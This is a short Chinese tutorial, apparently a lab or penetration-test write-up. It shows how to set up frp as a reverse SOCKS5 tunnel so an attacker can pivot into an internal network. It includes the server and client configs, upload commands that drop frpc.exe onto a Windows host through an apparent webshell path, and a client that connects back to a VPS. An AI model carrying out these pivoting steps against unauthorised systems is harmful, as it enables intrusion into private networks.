0x01.下载frp
选择响应的版本下载解压
下载地址 : https://github.com/fatedier/frp/releases/tag/v0.37.1
frp分为客户端和服务端 , 服务端一般放到vps上 , 然后客户端连接服务端
0x02.配置服务端
服务端的配置(frps.ini)很简单 , 只需要查看一下默认的端口有没有被占用 , 有就修改 , 没有直接启动服务端 , 监听即可
默认是7000端口 , 由于我的7000端口被占用了 , 我这里修改成了 443 端口 , 启动frps服务端
./frps -c frps.ini
0x03.配置客户端
首先修改客户端的配置文件(frpc.ini)
[common]
server_addr = vpsip
server_port = 443
[test_sock5]
type = tcp
remote_port = 8080 # 端口
plugin = socks5
plugin_user = test # 账号
plugin_passwd = test123 # 密码
use_encryption = true
use_compression = true
然后启动客户端 , 回连服务端
frpc.exe -c frpc.ini
upload /tmp/frpc.exe C:\\Users\\Administrator\\
upload /tmp/frpc.ini C:\\windows\\temp\\
C:\\Hws.com\\HwsHostMaster\\wwwroot\\www.ackmoon.com\\web\\upfiles\\image\\20210912\\cmd
ps: 这里我把frpc.ini修改成了socks5.ini
0x04.配置proifile
配置代理服务器
配置代理规则
访问和客户端在同一内网的其他机器的web页面 , 实战客户端就是跳板机